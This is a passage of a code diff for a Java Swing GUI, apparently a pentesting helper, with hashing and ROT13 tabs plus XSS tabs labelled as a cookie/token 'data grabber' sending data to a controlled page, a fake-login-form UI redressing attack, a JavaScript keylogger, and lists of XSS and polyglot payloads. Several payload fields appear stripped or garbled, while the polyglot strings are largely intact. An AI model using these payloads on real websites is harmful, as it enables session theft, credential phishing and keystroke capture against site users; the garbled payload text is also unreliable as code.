jLabel19.setText("Output"); + + sha256output.setColumns(20); + sha256output.setLineWrap(true); + sha256output.setRows(5); + sha256output.setAutoscrolls(false); + jScrollPane9.setViewportView(sha256output); + + javax.swing.GroupLayout jPanel32Layout = new javax.swing.GroupLayout(jPanel32); + jPanel32.setLayout(jPanel32Layout); + jPanel32Layout.setHorizontalGroup( + jPanel32Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel32Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel32Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel32Layout.createSequentialGroup() + .addGroup(jPanel32Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel18) + .addComponent(jLabel19)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(sha256input) + .addComponent(jScrollPane9, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel32Layout.setVerticalGroup( + jPanel32Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel32Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel18) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(sha256input, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel19) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel20Layout = new javax.swing.GroupLayout(jPanel20); + jPanel20.setLayout(jPanel20Layout); + jPanel20Layout.setHorizontalGroup( + jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel20Layout.createSequentialGroup() + .addComponent(jPanel21, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel32, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel20Layout.setVerticalGroup( + jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel21, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel32, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout sha256Layout = new javax.swing.GroupLayout(sha256); + sha256.setLayout(sha256Layout); + sha256Layout.setHorizontalGroup( + sha256Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel20, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + sha256Layout.setVerticalGroup( + sha256Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel20, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encryptionPanel2.addTab("SHA256", sha256); + + jPanel22.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel23.setBackground(new java.awt.Color(2, 71, 105)); + jPanel23.setForeground(new java.awt.Color(255, 255, 255)); + jPanel23.setLayout(new java.awt.GridLayout(7, 1)); + + rot13encrypt.setBackground(new java.awt.Color(2, 71, 105)); + rot13encrypt.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + rot13encrypt.setForeground(new java.awt.Color(255, 255, 255)); + rot13encrypt.setText("ROT13 Encrypt"); + rot13encrypt.setPreferredSize(new java.awt.Dimension(150, 100)); + rot13encrypt.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + rot13encryptActionPerformed(evt); + } + }); + jPanel23.add(rot13encrypt); + + jPanel34.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel20.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel20.setForeground(new java.awt.Color(255, 255, 255)); + jLabel20.setText("Input"); + + rot13input.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + rot13inputActionPerformed(evt); + } + }); + + jLabel21.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel21.setForeground(new java.awt.Color(255, 255, 255)); + jLabel21.setText("Output"); + + rot13output.setColumns(20); + rot13output.setLineWrap(true); + rot13output.setRows(5); + rot13output.setAutoscrolls(false); + jScrollPane10.setViewportView(rot13output); + + javax.swing.GroupLayout jPanel34Layout = new javax.swing.GroupLayout(jPanel34); + jPanel34.setLayout(jPanel34Layout); + jPanel34Layout.setHorizontalGroup( + jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel34Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel34Layout.createSequentialGroup() + .addGroup(jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel20) + .addComponent(jLabel21)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(rot13input) + .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel34Layout.setVerticalGroup( + jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel34Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel20) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rot13input, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel21) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane10, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel22Layout = new javax.swing.GroupLayout(jPanel22); + jPanel22.setLayout(jPanel22Layout); + jPanel22Layout.setHorizontalGroup( + jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel22Layout.createSequentialGroup() + .addComponent(jPanel23, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel34, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel22Layout.setVerticalGroup( + jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel23, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel34, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout rot13Layout = new javax.swing.GroupLayout(rot13); + rot13.setLayout(rot13Layout); + rot13Layout.setHorizontalGroup( + rot13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel22, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + rot13Layout.setVerticalGroup( + rot13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel22, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encryptionPanel2.addTab("ROT13", rot13); + + javax.swing.GroupLayout encryptionPanelLayout = new javax.swing.GroupLayout(encryptionPanel); + encryptionPanel.setLayout(encryptionPanelLayout); + encryptionPanelLayout.setHorizontalGroup( + encryptionPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(encryptionPanel2) + ); + encryptionPanelLayout.setVerticalGroup( + encryptionPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(encryptionPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, 504, Short.MAX_VALUE) + ); + + jTabbedPane1.addTab("Encryption", encryptionPanel); + + datagrapper.setBackground(new java.awt.Color(2, 71, 105)); + datagrapper.setForeground(new java.awt.Color(255, 255, 255)); + datagrapper.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + + jPanel43.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel44.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel1.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel1.setForeground(new java.awt.Color(255, 255, 255)); + jLabel1.setText("Data grabber for XSS"); + + jLabel3.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel3.setForeground(new java.awt.Color(255, 255, 255)); + jLabel3.setText("Write the collected data into a file."); + + jTextArea1.setEditable(false); + jTextArea1.setColumns(20); + jTextArea1.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea1.setLineWrap(true); + jTextArea1.setRows(5); + jTextArea1.setText(""); + jTextArea1.setWrapStyleWord(true); + jScrollPane1.setViewportView(jTextArea1); + + jLabel8.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel8.setForeground(new java.awt.Color(255, 255, 255)); + jLabel8.setText("Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page."); + + jTextArea2.setEditable(false); + jTextArea2.setColumns(20); + jTextArea2.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea2.setLineWrap(true); + jTextArea2.setRows(5); + jTextArea2.setText("\n\n\n"); + jTextArea2.setWrapStyleWord(true); + jScrollPane4.setViewportView(jTextArea2); + + javax.swing.GroupLayout jPanel44Layout = new javax.swing.GroupLayout(jPanel44); + jPanel44.setLayout(jPanel44Layout); + jPanel44Layout.setHorizontalGroup( + jPanel44Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel44Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel44Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1) + .addGroup(jPanel44Layout.createSequentialGroup() + .addGroup(jPanel44Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel8, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(0, 187, Short.MAX_VALUE))) + .addContainerGap()) + .addGroup(jPanel44Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel44Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane4) + .addContainerGap())) + ); + jPanel44Layout.setVerticalGroup( + jPanel44Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel44Layout.createSequentialGroup() + .addGap(7, 7, 7) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(1, 1, 1) + .addComponent(jLabel8) + .addGap(115, 115, 115) + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 129, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(105, Short.MAX_VALUE)) + .addGroup(jPanel44Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel44Layout.createSequentialGroup() + .addGap(84, 84, 84) + .addComponent(jScrollPane4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(236, Short.MAX_VALUE))) + ); + + javax.swing.GroupLayout jPanel43Layout = new javax.swing.GroupLayout(jPanel43); + jPanel43.setLayout(jPanel43Layout); + jPanel43Layout.setHorizontalGroup( + jPanel43Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel44, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + jPanel43Layout.setVerticalGroup( + jPanel43Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel44, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout url1Layout = new javax.swing.GroupLayout(url1); + url1.setLayout(url1Layout); + url1Layout.setHorizontalGroup( + url1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel43, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + url1Layout.setVerticalGroup( + url1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel43, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper.addTab("Data Grabber", url1); + + jPanel53.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel56.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel2.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel2.setForeground(new java.awt.Color(255, 255, 255)); + jLabel2.setText("UI redressing "); + + jLabel22.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel22.setForeground(new java.awt.Color(255, 255, 255)); + jLabel22.setText("Leverage the XSS to modify the HTML content of the page in order to display a fake login form. "); + + jTextArea4.setEditable(false); + jTextArea4.setColumns(20); + jTextArea4.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea4.setLineWrap(true); + jTextArea4.setRows(5); + jTextArea4.setText(""); + jTextArea4.setWrapStyleWord(true); + jScrollPane12.setViewportView(jTextArea4); + + javax.swing.GroupLayout jPanel56Layout = new javax.swing.GroupLayout(jPanel56); + jPanel56.setLayout(jPanel56Layout); + jPanel56Layout.setHorizontalGroup( + jPanel56Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel56Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel56Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel22, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(199, Short.MAX_VALUE)) + .addGroup(jPanel56Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel56Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane12) + .addContainerGap())) + ); + jPanel56Layout.setVerticalGroup( + jPanel56Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel56Layout.createSequentialGroup() + .addGap(7, 7, 7) + .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(1, 1, 1) + .addComponent(jLabel22) + .addContainerGap(376, Short.MAX_VALUE)) + .addGroup(jPanel56Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel56Layout.createSequentialGroup() + .addGap(84, 84, 84) + .addComponent(jScrollPane12, javax.swing.GroupLayout.PREFERRED_SIZE, 148, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(183, Short.MAX_VALUE))) + ); + + javax.swing.GroupLayout jPanel53Layout = new javax.swing.GroupLayout(jPanel53); + jPanel53.setLayout(jPanel53Layout); + jPanel53Layout.setHorizontalGroup( + jPanel53Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel56, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + jPanel53Layout.setVerticalGroup( + jPanel53Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel56, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout url2Layout = new javax.swing.GroupLayout(url2); + url2.setLayout(url2Layout); + url2Layout.setHorizontalGroup( + url2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel53, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + url2Layout.setVerticalGroup( + url2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel53, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper.addTab("UI redressing", url2); + + jPanel55.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel57.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel9.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel9.setForeground(new java.awt.Color(255, 255, 255)); + jLabel9.setText("Javascript keylogger "); + + jLabel23.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel23.setForeground(new java.awt.Color(255, 255, 255)); + jLabel23.setText("Another way to collect sensitive data is to set a javascript keylogger. "); + + jTextArea5.setEditable(false); + jTextArea5.setColumns(20); + jTextArea5.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea5.setLineWrap(true); + jTextArea5.setRows(5); + jTextArea5.setText("\n"); + jTextArea5.setWrapStyleWord(true); + jScrollPane13.setViewportView(jTextArea5); + + javax.swing.GroupLayout jPanel57Layout = new javax.swing.GroupLayout(jPanel57); + jPanel57.setLayout(jPanel57Layout); + jPanel57Layout.setHorizontalGroup( + jPanel57Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel57Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel57Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel23, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(199, Short.MAX_VALUE)) + .addGroup(jPanel57Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel57Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane13) + .addContainerGap())) + ); + jPanel57Layout.setVerticalGroup( + jPanel57Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel57Layout.createSequentialGroup() + .addGap(7, 7, 7) + .addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(1, 1, 1) + .addComponent(jLabel23) + .addContainerGap(376, Short.MAX_VALUE)) + .addGroup(jPanel57Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel57Layout.createSequentialGroup() + .addGap(84, 84, 84) + .addComponent(jScrollPane13, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(235, Short.MAX_VALUE))) + ); + + javax.swing.GroupLayout jPanel55Layout = new javax.swing.GroupLayout(jPanel55); + jPanel55.setLayout(jPanel55Layout); + jPanel55Layout.setHorizontalGroup( + jPanel55Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel57, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + jPanel55Layout.setVerticalGroup( + jPanel55Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel57, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout url3Layout = new javax.swing.GroupLayout(url3); + url3.setLayout(url3Layout); + url3Layout.setHorizontalGroup( + url3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel55, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + url3Layout.setVerticalGroup( + url3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel55, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper.addTab("Javascript keylogger", url3); + + jPanel60.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel61.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel24.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel24.setForeground(new java.awt.Color(255, 255, 255)); + jLabel24.setText("XSS Basics"); + + jTextArea7.setEditable(false); + jTextArea7.setColumns(20); + jTextArea7.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea7.setLineWrap(true); + jTextArea7.setRows(5); + jTextArea7.setText("Basic payload\n\nipt>alert('XSS')ipt>\n\">\n\">\n\nImg payload\n\n\n\nxss\n\">\n\">\n\nSvg payload\n\n\n\n\n\">\n\">MOVE HERE\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
"); + jTextArea7.setWrapStyleWord(true); + jScrollPane15.setViewportView(jTextArea7); + + javax.swing.GroupLayout jPanel61Layout = new javax.swing.GroupLayout(jPanel61); + jPanel61.setLayout(jPanel61Layout); + jPanel61Layout.setHorizontalGroup( + jPanel61Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel61Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel61Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane15, javax.swing.GroupLayout.PREFERRED_SIZE, 706, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel24, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(199, Short.MAX_VALUE)) + ); + jPanel61Layout.setVerticalGroup( + jPanel61Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel61Layout.createSequentialGroup() + .addGap(7, 7, 7) + .addComponent(jLabel24, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane15, javax.swing.GroupLayout.DEFAULT_SIZE, 390, Short.MAX_VALUE)) + ); + + javax.swing.GroupLayout jPanel60Layout = new javax.swing.GroupLayout(jPanel60); + jPanel60.setLayout(jPanel60Layout); + jPanel60Layout.setHorizontalGroup( + jPanel60Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel61, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + jPanel60Layout.setVerticalGroup( + jPanel60Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel61, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout url5Layout = new javax.swing.GroupLayout(url5); + url5.setLayout(url5Layout); + url5Layout.setHorizontalGroup( + url5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel60, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + url5Layout.setVerticalGroup( + url5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel60, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper.addTab("XSS Basic", url5); + + jPanel62.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel63.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel25.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel25.setForeground(new java.awt.Color(255, 255, 255)); + jLabel25.setText("XSS for HTML5"); + + jTextArea8.setEditable(false); + jTextArea8.setColumns(20); + jTextArea8.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea8.setLineWrap(true); + jTextArea8.setRows(5); + jTextArea8.setText("\n\n\\x3csVg/\\x3e\n"); + jTextArea19.setWrapStyleWord(true); + jTextArea19.setAutoscrolls(false); + + jLabel37.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel37.setForeground(new java.awt.Color(255, 255, 255)); + jLabel37.setText("Polyglot XSS - @s0md3v"); + + jTextArea20.setEditable(false); + jTextArea20.setColumns(20); + jTextArea20.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea20.setLineWrap(true); + jTextArea20.setRows(5); + jTextArea20.setText("-->'\"/>\" onload=(co\\u006efirm)``>"); + jTextArea20.setWrapStyleWord(true); + + jLabel38.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel38.setForeground(new java.awt.Color(255, 255, 255)); + jLabel38.setText("Polyglot XSS - Mathias Karlsson"); + + jTextArea21.setEditable(false); + jTextArea21.setColumns(20); + jTextArea21.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea21.setLineWrap(true); + jTextArea21.setRows(5); + jTextArea21.setText("\" onclick=alert(1)//\"><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->\"></script><script>alert(1)</script>\"><img/id=\"confirm&lpar;1)\"/alt=\"/\"src=\"/\"onerror=eval(id&%23x29;>'\"><img src=\"http://i.imgur.com/P8mL8.jpg\">\njavascript://'/</title></style></textarea></script>--><p\" onclick=alert()//>*/alert()/*\njavascript://--></script></title></style>\"/</textarea>*/<alert()/*' onclick=alert()//>a\njavascript://</title>\"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/\njavascript://</title></style></textarea>--></script><a\"//' onclick=alert()//>*/alert()/*\njavascript://'//\" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*\njavascript://</title></textarea></style></script --><li '//\" '*/alert()/*', onclick=alert()//\njavascript:alert()//--></script></textarea></style></title><a\"//' onclick=alert()//>*/alert()/*\n--></script></title></style>\"/</textarea><a' onclick=alert()//>*/alert()/*\n/</title/'/</style/</script/</textarea/--><p\" onclick=alert()//>*/alert()/*\njavascript://--></title></style></textarea></script><svg \"//' onclick=alert()//\n/</title/'/</style/</script/--><p\" 